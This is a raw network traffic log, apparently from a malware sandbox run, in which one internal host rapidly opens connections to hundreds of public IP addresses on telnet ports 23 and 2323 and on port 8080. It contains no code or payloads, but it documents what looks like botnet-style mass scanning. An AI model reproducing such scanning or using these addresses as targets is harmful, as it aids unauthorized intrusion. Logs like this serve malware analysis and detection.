Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	140.42.2.118
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	201.225.248.190
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	167.20.121.130
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	47.182.42.234
Feb 19, 2025 19:43:15.998372078 CET	24754	23	192.168.2.13	1.245.189.221
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	111.207.98.230
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	46.156.35.210
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	218.108.222.179
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	86.211.151.203
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	78.204.11.0
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	132.114.28.132
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	25.155.212.50
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	24.104.242.14
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	126.102.93.62
Feb 19, 2025 19:43:15.998372078 CET	24754	23	192.168.2.13	162.231.99.45
Feb 19, 2025 19:43:15.998373032 CET	24754	23	192.168.2.13	68.236.42.179
Feb 19, 2025 19:43:15.998373032 CET	24754	23	192.168.2.13	97.176.237.178
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	76.131.52.6
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	149.189.120.169
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	105.184.134.255
Feb 19, 2025 19:43:15.998369932 CET	24754	2323	192.168.2.13	76.118.85.90
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	66.29.171.111
Feb 19, 2025 19:43:15.998369932 CET	24754	23	192.168.2.13	199.230.238.225
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	152.91.183.127
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	160.213.85.239
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	54.147.155.85
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	147.25.82.26
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	76.142.215.12
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	128.113.129.5
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	13.127.80.60
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	113.49.158.86
Feb 19, 2025 19:43:15.998405933 CET	24754	23	192.168.2.13	223.251.231.87
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	72.42.246.247
Feb 19, 2025 19:43:15.998405933 CET	24754	23	192.168.2.13	153.49.44.213
Feb 19, 2025 19:43:15.998409033 CET	24754	23	192.168.2.13	107.90.117.234
Feb 19, 2025 19:43:15.998404026 CET	24754	23	192.168.2.13	135.50.107.116
Feb 19, 2025 19:43:15.998409033 CET	24754	2323	192.168.2.13	185.40.100.97
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	52.165.164.98
Feb 19, 2025 19:43:15.998409033 CET	24754	23	192.168.2.13	130.222.202.212
Feb 19, 2025 19:43:15.998416901 CET	24754	23	192.168.2.13	12.28.89.21
Feb 19, 2025 19:43:15.998411894 CET	24754	2323	192.168.2.13	34.157.130.9
Feb 19, 2025 19:43:15.998409986 CET	24754	23	192.168.2.13	199.76.208.44
Feb 19, 2025 19:43:15.998416901 CET	24754	23	192.168.2.13	139.10.107.220
Feb 19, 2025 19:43:15.998409986 CET	24754	23	192.168.2.13	149.227.117.112
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	193.58.106.25
Feb 19, 2025 19:43:15.998409986 CET	24754	23	192.168.2.13	69.80.146.219
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	145.206.220.141
Feb 19, 2025 19:43:15.998408079 CET	24754	23	192.168.2.13	72.155.18.154
Feb 19, 2025 19:43:15.998409986 CET	24754	23	192.168.2.13	209.127.68.143
Feb 19, 2025 19:43:15.998408079 CET	24754	23	192.168.2.13	34.150.33.117
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	94.35.45.93
Feb 19, 2025 19:43:15.998416901 CET	24754	2323	192.168.2.13	32.22.76.204
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	144.44.145.158
Feb 19, 2025 19:43:15.998416901 CET	24754	23	192.168.2.13	113.19.229.156
Feb 19, 2025 19:43:15.998408079 CET	24754	23	192.168.2.13	121.41.219.184
Feb 19, 2025 19:43:15.998416901 CET	24754	23	192.168.2.13	160.206.224.38
Feb 19, 2025 19:43:15.998411894 CET	24754	23	192.168.2.13	101.119.217.50
Feb 19, 2025 19:43:15.998416901 CET	24754	23	192.168.2.13	36.51.157.74
Feb 19, 2025 19:43:15.998410940 CET	24754	2323	192.168.2.13	159.79.145.198
Feb 19, 2025 19:43:15.998440027 CET	24754	23	192.168.2.13	101.85.86.192
Feb 19, 2025 19:43:15.998410940 CET	24754	23	192.168.2.13	146.35.214.43
Feb 19, 2025 19:43:15.998408079 CET	24754	23	192.168.2.13	90.20.64.226
Feb 19, 2025 19:43:15.998449087 CET	24754	23	192.168.2.13	174.26.249.254
Feb 19, 2025 19:43:15.998451948 CET	24754	2323	192.168.2.13	108.93.173.244
Feb 19, 2025 19:43:15.998460054 CET	24754	23	192.168.2.13	132.72.167.203
Feb 19, 2025 19:43:15.998461008 CET	24754	23	192.168.2.13	210.124.52.7
Feb 19, 2025 19:43:15.998461008 CET	24754	23	192.168.2.13	165.68.81.88
Feb 19, 2025 19:43:16.001691103 CET	8080	49746	31.72.251.25	192.168.2.13
Feb 19, 2025 19:43:16.001749039 CET	49746	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:16.011244059 CET	43266	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:16.016350031 CET	8080	43266	85.84.152.126	192.168.2.13
Feb 19, 2025 19:43:16.016403913 CET	43266	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:16.048010111 CET	58012	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:16.052954912 CET	8080	58012	62.212.168.142	192.168.2.13
Feb 19, 2025 19:43:16.052997112 CET	58012	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:16.055574894 CET	41938	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:16.058521986 CET	33022	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:16.060355902 CET	37342	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:16.060556889 CET	8080	41938	62.184.69.121	192.168.2.13
Feb 19, 2025 19:43:16.060596943 CET	41938	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:16.061760902 CET	46316	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:16.062613964 CET	59264	8080	192.168.2.13	85.123.84.241
Feb 19, 2025 19:43:16.063179016 CET	49932	8080	192.168.2.13	95.231.13.167
Feb 19, 2025 19:43:16.063695908 CET	49918	8080	192.168.2.13	62.96.191.144
Feb 19, 2025 19:43:16.063823938 CET	8080	33022	31.224.71.137	192.168.2.13
Feb 19, 2025 19:43:16.063868046 CET	33022	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:16.064238071 CET	34288	8080	192.168.2.13	94.12.222.90
Feb 19, 2025 19:43:16.065336943 CET	8080	37342	94.235.168.38	192.168.2.13
Feb 19, 2025 19:43:16.065378904 CET	37342	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:16.065401077 CET	40220	8080	192.168.2.13	62.253.28.231
Feb 19, 2025 19:43:16.066730022 CET	8080	46316	31.9.155.170	192.168.2.13
Feb 19, 2025 19:43:16.066772938 CET	46316	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:16.077600956 CET	56200	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:16.079541922 CET	38130	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:16.080024004 CET	52790	8080	192.168.2.13	62.91.151.8
Feb 19, 2025 19:43:16.080507994 CET	52998	8080	192.168.2.13	95.128.1.164
Feb 19, 2025 19:43:16.080996037 CET	51860	8080	192.168.2.13	31.119.162.196
Feb 19, 2025 19:43:16.081496000 CET	36816	8080	192.168.2.13	85.20.179.232
Feb 19, 2025 19:43:16.082973957 CET	8080	56200	62.113.108.13	192.168.2.13
Feb 19, 2025 19:43:16.083019972 CET	56200	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:16.084894896 CET	8080	38130	31.215.2.218	192.168.2.13
Feb 19, 2025 19:43:16.084959030 CET	38130	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:16.093178988 CET	49920	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.094345093 CET	47010	8080	192.168.2.13	94.197.65.67
Feb 19, 2025 19:43:16.095155954 CET	52290	8080	192.168.2.13	31.175.78.246
Feb 19, 2025 19:43:16.096327066 CET	57742	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:16.097158909 CET	45508	8080	192.168.2.13	31.216.11.167
Feb 19, 2025 19:43:16.097884893 CET	45450	8080	192.168.2.13	94.242.38.1
Feb 19, 2025 19:43:16.098261118 CET	8080	49920	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:16.098308086 CET	49920	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:16.098645926 CET	58284	8080	192.168.2.13	85.29.98.39
Feb 19, 2025 19:43:16.099661112 CET	48426	8080	192.168.2.13	31.209.94.222
Feb 19, 2025 19:43:16.100379944 CET	50990	8080	192.168.2.13	31.159.99.162
Feb 19, 2025 19:43:16.101078987 CET	51304	8080	192.168.2.13	85.205.147.107
Feb 19, 2025 19:43:16.101294041 CET	8080	57742	95.85.142.137	192.168.2.13
Feb 19, 2025 19:43:16.101332903 CET	57742	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:16.102015018 CET	52530	8080	192.168.2.13	95.200.152.156
Feb 19, 2025 19:43:16.102711916 CET	49650	8080	192.168.2.13	31.112.63.147
Feb 19, 2025 19:43:16.103635073 CET	35234	8080	192.168.2.13	95.232.253.19
Feb 19, 2025 19:43:16.104830980 CET	37034	8080	192.168.2.13	62.177.98.51
Feb 19, 2025 19:43:16.105556011 CET	49552	8080	192.168.2.13	62.29.205.52
Feb 19, 2025 19:43:16.106597900 CET	45810	8080	192.168.2.13	31.170.230.220
Feb 19, 2025 19:43:16.107398033 CET	58986	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:16.108452082 CET	56498	8080	192.168.2.13	62.72.26.17
Feb 19, 2025 19:43:16.109592915 CET	54786	8080	192.168.2.13	95.77.135.176
Feb 19, 2025 19:43:16.110686064 CET	52192	8080	192.168.2.13	85.9.228.142
Feb 19, 2025 19:43:16.111496925 CET	34856	8080	192.168.2.13	85.91.239.58
Feb 19, 2025 19:43:16.112807035 CET	8080	58986	85.224.68.95	192.168.2.13
Feb 19, 2025 19:43:16.112842083 CET	58986	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:16.112950087 CET	58700	8080	192.168.2.13	31.109.196.205
Feb 19, 2025 19:43:16.114054918 CET	55660	8080	192.168.2.13	94.214.185.93
Feb 19, 2025 19:43:16.115138054 CET	46900	8080	192.168.2.13	85.17.207.169
Feb 19, 2025 19:43:16.116247892 CET	58140	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:16.117363930 CET	37912	8080	192.168.2.13	95.25.141.130
Feb 19, 2025 19:43:16.118288040 CET	45026	8080	192.168.2.13	62.40.100.188
Feb 19, 2025 19:43:16.118824959 CET	38074	8080	192.168.2.13	62.109.240.116
Feb 19, 2025 19:43:16.119358063 CET	43836	8080	192.168.2.13	95.9.31.254
Feb 19, 2025 19:43:16.119895935 CET	36160	8080	192.168.2.13	94.74.231.247
Feb 19, 2025 19:43:16.120421886 CET	38996	8080	192.168.2.13	95.144.144.238
Feb 19, 2025 19:43:16.120949984 CET	38170	8080	192.168.2.13	62.0.119.147
Feb 19, 2025 19:43:16.121469021 CET	33022	8080	192.168.2.13	94.104.17.69
Feb 19, 2025 19:43:16.121696949 CET	8080	58140	94.181.66.180	192.168.2.13
Feb 19, 2025 19:43:16.121737957 CET	58140	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:16.122014999 CET	33152	8080	192.168.2.13	31.184.184.115
Feb 19, 2025 19:43:16.122538090 CET	54176	8080	192.168.2.13	62.113.101.187
Feb 19, 2025 19:43:16.123092890 CET	41686	8080	192.168.2.13	62.70.138.0
Feb 19, 2025 19:43:16.123624086 CET	45232	8080	192.168.2.13	62.93.13.13
Feb 19, 2025 19:43:16.124176025 CET	40818	8080	192.168.2.13	94.49.76.210
Feb 19, 2025 19:43:16.143059015 CET	42526	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:16.143600941 CET	48288	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:16.144184113 CET	33750	8080	192.168.2.13	85.68.195.238
Feb 19, 2025 19:43:16.144738913 CET	51936	8080	192.168.2.13	94.50.15.228
Feb 19, 2025 19:43:16.145339012 CET	47164	8080	192.168.2.13	62.100.38.145
Feb 19, 2025 19:43:16.145883083 CET	34332	8080	192.168.2.13	85.28.1.187
Feb 19, 2025 19:43:16.146447897 CET	59136	8080	192.168.2.13	31.186.47.21
Feb 19, 2025 19:43:16.147039890 CET	56428	8080	192.168.2.13	95.50.71.168
Feb 19, 2025 19:43:16.147728920 CET	34562	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:16.148073912 CET	8080	42526	94.243.97.193	192.168.2.13
Feb 19, 2025 19:43:16.148149014 CET	42526	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:16.148375988 CET	59222	8080	192.168.2.13	31.152.40.185
Feb 19, 2025 19:43:16.148551941 CET	8080	48288	31.204.205.170	192.168.2.13
Feb 19, 2025 19:43:16.148587942 CET	48288	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:16.148993015 CET	53440	8080	192.168.2.13	85.93.200.105
Feb 19, 2025 19:43:16.149642944 CET	34938	8080	192.168.2.13	85.116.84.78
Feb 19, 2025 19:43:16.150233984 CET	35436	8080	192.168.2.13	85.31.104.118
Feb 19, 2025 19:43:16.150808096 CET	41420	8080	192.168.2.13	85.19.126.125
Feb 19, 2025 19:43:16.151393890 CET	47584	8080	192.168.2.13	94.19.167.73
Feb 19, 2025 19:43:16.151979923 CET	40090	8080	192.168.2.13	31.70.187.9
Feb 19, 2025 19:43:16.152543068 CET	60374	8080	192.168.2.13	95.74.50.30
Feb 19, 2025 19:43:16.152780056 CET	8080	34562	94.16.254.143	192.168.2.13
Feb 19, 2025 19:43:16.152822971 CET	34562	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:16.153151035 CET	42040	8080	192.168.2.13	95.109.12.85
Feb 19, 2025 19:43:16.153716087 CET	41902	8080	192.168.2.13	94.18.59.20
Feb 19, 2025 19:43:16.154280901 CET	35974	8080	192.168.2.13	62.190.17.29
Feb 19, 2025 19:43:16.154881001 CET	43882	8080	192.168.2.13	31.195.227.26
Feb 19, 2025 19:43:16.155694962 CET	40660	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:16.156284094 CET	51752	8080	192.168.2.13	95.118.184.198
Feb 19, 2025 19:43:16.156869888 CET	40756	8080	192.168.2.13	85.189.72.129
Feb 19, 2025 19:43:16.157448053 CET	54316	8080	192.168.2.13	62.142.253.227
Feb 19, 2025 19:43:16.158031940 CET	44844	8080	192.168.2.13	85.254.42.153
Feb 19, 2025 19:43:16.158611059 CET	55262	8080	192.168.2.13	85.134.180.229
Feb 19, 2025 19:43:16.159197092 CET	56486	8080	192.168.2.13	95.48.196.40
Feb 19, 2025 19:43:16.159768105 CET	37834	8080	192.168.2.13	31.208.26.227
Feb 19, 2025 19:43:16.160348892 CET	33596	8080	192.168.2.13	95.126.6.39
Feb 19, 2025 19:43:16.160722017 CET	8080	40660	95.154.37.49	192.168.2.13
Feb 19, 2025 19:43:16.160758018 CET	40660	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:16.160939932 CET	43000	8080	192.168.2.13	85.91.154.202
Feb 19, 2025 19:43:16.161524057 CET	33058	8080	192.168.2.13	62.27.214.81
Feb 19, 2025 19:43:16.162122011 CET	46496	8080	192.168.2.13	85.101.211.21
Feb 19, 2025 19:43:16.162672997 CET	34942	8080	192.168.2.13	94.242.29.121
Feb 19, 2025 19:43:16.163232088 CET	58548	8080	192.168.2.13	85.155.229.171
Feb 19, 2025 19:43:16.163778067 CET	48974	8080	192.168.2.13	62.71.218.90
Feb 19, 2025 19:43:16.164320946 CET	54954	8080	192.168.2.13	31.18.31.131
Feb 19, 2025 19:43:16.164869070 CET	52574	8080	192.168.2.13	94.94.79.92
Feb 19, 2025 19:43:16.165405035 CET	49116	8080	192.168.2.13	62.75.60.109
Feb 19, 2025 19:43:16.165956020 CET	39998	8080	192.168.2.13	94.36.161.68
Feb 19, 2025 19:43:16.166486979 CET	35274	8080	192.168.2.13	85.68.221.252
Feb 19, 2025 19:43:16.167083025 CET	40972	8080	192.168.2.13	95.94.210.210
Feb 19, 2025 19:43:16.167638063 CET	58706	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:16.168186903 CET	54418	8080	192.168.2.13	62.124.56.11
Feb 19, 2025 19:43:16.168739080 CET	46622	8080	192.168.2.13	31.103.100.85
Feb 19, 2025 19:43:16.169306040 CET	34444	8080	192.168.2.13	31.24.132.254
Feb 19, 2025 19:43:16.169905901 CET	48812	8080	192.168.2.13	31.58.154.178
Feb 19, 2025 19:43:16.170489073 CET	54322	8080	192.168.2.13	31.168.9.149
Feb 19, 2025 19:43:16.171071053 CET	42380	8080	192.168.2.13	62.66.223.97
Feb 19, 2025 19:43:16.171652079 CET	43448	8080	192.168.2.13	62.39.81.41
Feb 19, 2025 19:43:16.172245979 CET	47564	8080	192.168.2.13	31.162.3.29
Feb 19, 2025 19:43:16.172861099 CET	36216	8080	192.168.2.13	94.81.85.120
Feb 19, 2025 19:43:16.173224926 CET	8080	58706	31.75.132.91	192.168.2.13
Feb 19, 2025 19:43:16.173253059 CET	58706	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:16.173435926 CET	54658	8080	192.168.2.13	62.238.247.192
Feb 19, 2025 19:43:16.174021959 CET	37920	8080	192.168.2.13	62.104.158.97
Feb 19, 2025 19:43:16.174603939 CET	47254	8080	192.168.2.13	94.157.141.163
Feb 19, 2025 19:43:16.175163031 CET	59014	8080	192.168.2.13	85.133.171.211
Feb 19, 2025 19:43:16.175832987 CET	44022	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:16.176428080 CET	57568	8080	192.168.2.13	85.220.231.22
Feb 19, 2025 19:43:16.177022934 CET	38128	8080	192.168.2.13	85.154.160.227
Feb 19, 2025 19:43:16.177649975 CET	37530	8080	192.168.2.13	85.218.162.248
Feb 19, 2025 19:43:16.178431034 CET	34498	8080	192.168.2.13	62.159.23.130
Feb 19, 2025 19:43:16.179052114 CET	58630	8080	192.168.2.13	31.157.246.36
Feb 19, 2025 19:43:16.179657936 CET	59336	8080	192.168.2.13	62.227.255.2
Feb 19, 2025 19:43:16.180259943 CET	41956	8080	192.168.2.13	31.194.11.61
Feb 19, 2025 19:43:16.181056023 CET	8080	44022	94.28.89.226	192.168.2.13
Feb 19, 2025 19:43:16.181098938 CET	44022	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:16.195054054 CET	47720	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:16.195620060 CET	44070	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:16.196212053 CET	33596	8080	192.168.2.13	31.55.178.108
Feb 19, 2025 19:43:16.196799994 CET	50758	8080	192.168.2.13	85.33.52.66
Feb 19, 2025 19:43:16.197398901 CET	45752	8080	192.168.2.13	31.61.146.86
Feb 19, 2025 19:43:16.197963953 CET	49714	8080	192.168.2.13	95.155.45.111
Feb 19, 2025 19:43:16.198529005 CET	35980	8080	192.168.2.13	94.19.125.200
Feb 19, 2025 19:43:16.199172974 CET	40524	8080	192.168.2.13	62.250.240.211
Feb 19, 2025 19:43:16.199810028 CET	59592	8080	192.168.2.13	62.88.169.59
Feb 19, 2025 19:43:16.200407982 CET	33698	8080	192.168.2.13	31.169.177.2
Feb 19, 2025 19:43:16.200427055 CET	8080	47720	94.31.162.150	192.168.2.13
Feb 19, 2025 19:43:16.200476885 CET	47720	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:16.200982094 CET	35742	8080	192.168.2.13	62.127.129.76
Feb 19, 2025 19:43:16.201109886 CET	8080	44070	62.252.212.176	192.168.2.13
Feb 19, 2025 19:43:16.201149940 CET	44070	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:16.201559067 CET	56034	8080	192.168.2.13	95.170.137.79
Feb 19, 2025 19:43:16.202127934 CET	60346	8080	192.168.2.13	85.143.109.249
Feb 19, 2025 19:43:16.202683926 CET	46666	8080	192.168.2.13	85.135.224.218
Feb 19, 2025 19:43:16.203234911 CET	38242	8080	192.168.2.13	95.71.0.133
Feb 19, 2025 19:43:16.203787088 CET	33262	8080	192.168.2.13	62.86.96.49
Feb 19, 2025 19:43:16.204349041 CET	56916	8080	192.168.2.13	31.89.117.137
Feb 19, 2025 19:43:16.204915047 CET	38206	8080	192.168.2.13	85.7.186.13
Feb 19, 2025 19:43:16.205446959 CET	45232	8080	192.168.2.13	95.166.123.60
Feb 19, 2025 19:43:16.205986977 CET	50046	8080	192.168.2.13	95.147.252.83
Feb 19, 2025 19:43:16.206523895 CET	46034	8080	192.168.2.13	94.103.141.211
Feb 19, 2025 19:43:16.207098007 CET	54740	8080	192.168.2.13	85.100.204.76
Feb 19, 2025 19:43:16.207669973 CET	33562	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:16.208262920 CET	34054	8080	192.168.2.13	85.0.246.113
Feb 19, 2025 19:43:16.208828926 CET	48158	8080	192.168.2.13	94.33.128.45
Feb 19, 2025 19:43:16.209407091 CET	44136	8080	192.168.2.13	62.207.171.79
Feb 19, 2025 19:43:16.209975004 CET	41760	8080	192.168.2.13	94.90.133.33
Feb 19, 2025 19:43:16.210547924 CET	48684	8080	192.168.2.13	95.217.78.131
Feb 19, 2025 19:43:16.211138010 CET	45262	8080	192.168.2.13	95.214.73.173
Feb 19, 2025 19:43:16.211699963 CET	57168	8080	192.168.2.13	94.178.50.229
Feb 19, 2025 19:43:16.212275982 CET	53060	8080	192.168.2.13	62.211.235.250
Feb 19, 2025 19:43:16.212622881 CET	8080	33562	95.26.220.246	192.168.2.13
Feb 19, 2025 19:43:16.212683916 CET	33562	8080	192.168.2.13	95.26.220.246
Feb 19, 2025 19:43:16.212883949 CET	55522	8080	192.168.2.13	62.169.217.164
Feb 19, 2025 19:43:16.213439941 CET	57814	8080	192.168.2.13	62.166.150.154
Feb 19, 2025 19:43:16.214021921 CET	47338	8080	192.168.2.13	94.129.181.93
Feb 19, 2025 19:43:16.214595079 CET	53642	8080	192.168.2.13	85.19.162.212
Feb 19, 2025 19:43:16.215192080 CET	54690	8080	192.168.2.13	95.109.16.245
Feb 19, 2025 19:43:16.215769053 CET	48698	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:16.216331959 CET	48962	8080	192.168.2.13	95.144.238.168
Feb 19, 2025 19:43:16.216953039 CET	38664	8080	192.168.2.13	62.184.152.249
Feb 19, 2025 19:43:16.217490911 CET	36896	8080	192.168.2.13	95.20.21.42
Feb 19, 2025 19:43:16.218060970 CET	39030	8080	192.168.2.13	94.88.229.249
Feb 19, 2025 19:43:16.218621969 CET	43696	8080	192.168.2.13	94.46.167.16
Feb 19, 2025 19:43:16.219201088 CET	51956	8080	192.168.2.13	85.138.56.182
Feb 19, 2025 19:43:16.219782114 CET	36432	8080	192.168.2.13	85.5.38.110
Feb 19, 2025 19:43:16.220352888 CET	35892	8080	192.168.2.13	85.70.218.64
Feb 19, 2025 19:43:16.220952988 CET	57120	8080	192.168.2.13	85.220.173.251
Feb 19, 2025 19:43:16.221100092 CET	8080	48698	85.117.154.237	192.168.2.13
Feb 19, 2025 19:43:16.221139908 CET	48698	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:16.221530914 CET	43144	8080	192.168.2.13	31.9.27.39
Feb 19, 2025 19:43:16.222095966 CET	32984	8080	192.168.2.13	62.251.250.77
Feb 19, 2025 19:43:16.222664118 CET	58716	8080	192.168.2.13	95.254.183.85
Feb 19, 2025 19:43:16.223237038 CET	47102	8080	192.168.2.13	62.122.6.87
Feb 19, 2025 19:43:16.223814011 CET	60764	8080	192.168.2.13	31.224.230.23
Feb 19, 2025 19:43:16.224391937 CET	36050	8080	192.168.2.13	62.152.94.138
Feb 19, 2025 19:43:16.224982023 CET	45868	8080	192.168.2.13	85.164.75.64
Feb 19, 2025 19:43:16.225666046 CET	55022	8080	192.168.2.13	31.46.173.221
Feb 19, 2025 19:43:16.226280928 CET	45602	8080	192.168.2.13	94.135.203.166
Feb 19, 2025 19:43:16.226895094 CET	39986	8080	192.168.2.13	31.33.53.68
Feb 19, 2025 19:43:16.227502108 CET	43150	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:16.228084087 CET	52462	8080	192.168.2.13	62.109.207.150
Feb 19, 2025 19:43:16.228660107 CET	37480	8080	192.168.2.13	94.99.103.17
Feb 19, 2025 19:43:16.229260921 CET	53902	8080	192.168.2.13	31.189.146.139
Feb 19, 2025 19:43:16.229846001 CET	43446	8080	192.168.2.13	85.245.50.208
Feb 19, 2025 19:43:16.230421066 CET	39152	8080	192.168.2.13	62.254.25.230
Feb 19, 2025 19:43:16.231019974 CET	59534	8080	192.168.2.13	94.34.109.170
Feb 19, 2025 19:43:16.231599092 CET	39720	8080	192.168.2.13	95.152.164.215
Feb 19, 2025 19:43:16.232171059 CET	49072	8080	192.168.2.13	85.169.253.13
Feb 19, 2025 19:43:16.232767105 CET	55050	8080	192.168.2.13	31.34.71.167
Feb 19, 2025 19:43:16.232853889 CET	8080	43150	95.16.104.174	192.168.2.13
Feb 19, 2025 19:43:16.232894897 CET	43150	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:16.233350992 CET	44816	8080	192.168.2.13	94.233.60.184
Feb 19, 2025 19:43:16.233932018 CET	37464	8080	192.168.2.13	95.203.62.27
Feb 19, 2025 19:43:16.234510899 CET	51758	8080	192.168.2.13	85.28.48.48
Feb 19, 2025 19:43:16.235085964 CET	49658	8080	192.168.2.13	85.133.255.206
Feb 19, 2025 19:43:16.235652924 CET	53228	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:16.236231089 CET	44506	8080	192.168.2.13	31.216.107.163
Feb 19, 2025 19:43:16.236867905 CET	33626	8080	192.168.2.13	94.39.177.205
Feb 19, 2025 19:43:16.237430096 CET	35756	8080	192.168.2.13	31.199.41.212
Feb 19, 2025 19:43:16.238004923 CET	52244	8080	192.168.2.13	94.64.74.248
Feb 19, 2025 19:43:16.238868952 CET	26802	8080	192.168.2.13	62.63.130.74
Feb 19, 2025 19:43:16.238876104 CET	26802	8080	192.168.2.13	85.111.227.18
Feb 19, 2025 19:43:16.238915920 CET	26802	8080	192.168.2.13	94.115.90.10
Feb 19, 2025 19:43:16.238926888 CET	26802	8080	192.168.2.13	94.121.68.181
Feb 19, 2025 19:43:16.238928080 CET	26802	8080	192.168.2.13	62.83.98.170
Feb 19, 2025 19:43:16.238929033 CET	26802	8080	192.168.2.13	31.251.20.42
Feb 19, 2025 19:43:16.238972902 CET	26802	8080	192.168.2.13	62.208.217.112
Feb 19, 2025 19:43:16.238976002 CET	26802	8080	192.168.2.13	31.189.0.60
Feb 19, 2025 19:43:16.238976002 CET	26802	8080	192.168.2.13	94.93.229.136
Feb 19, 2025 19:43:16.238976955 CET	26802	8080	192.168.2.13	31.125.183.255
Feb 19, 2025 19:43:16.238977909 CET	26802	8080	192.168.2.13	31.234.253.230
Feb 19, 2025 19:43:16.238977909 CET	26802	8080	192.168.2.13	95.45.138.240
Feb 19, 2025 19:43:16.238977909 CET	26802	8080	192.168.2.13	94.194.7.181
Feb 19, 2025 19:43:16.238977909 CET	26802	8080	192.168.2.13	95.93.32.31
Feb 19, 2025 19:43:16.238979101 CET	26802	8080	192.168.2.13	94.237.190.181
Feb 19, 2025 19:43:16.238980055 CET	26802	8080	192.168.2.13	94.5.148.233
Feb 19, 2025 19:43:16.238979101 CET	26802	8080	192.168.2.13	62.158.2.149
Feb 19, 2025 19:43:16.238980055 CET	26802	8080	192.168.2.13	95.228.41.138
Feb 19, 2025 19:43:16.238979101 CET	26802	8080	192.168.2.13	85.59.149.180
Feb 19, 2025 19:43:16.238979101 CET	26802	8080	192.168.2.13	31.100.149.83
Feb 19, 2025 19:43:16.238986969 CET	26802	8080	192.168.2.13	31.128.204.8
Feb 19, 2025 19:43:16.238990068 CET	26802	8080	192.168.2.13	85.82.32.66
Feb 19, 2025 19:43:16.238990068 CET	26802	8080	192.168.2.13	94.112.120.69
Feb 19, 2025 19:43:16.238993883 CET	26802	8080	192.168.2.13	31.46.110.211
Feb 19, 2025 19:43:16.238995075 CET	26802	8080	192.168.2.13	85.81.68.64
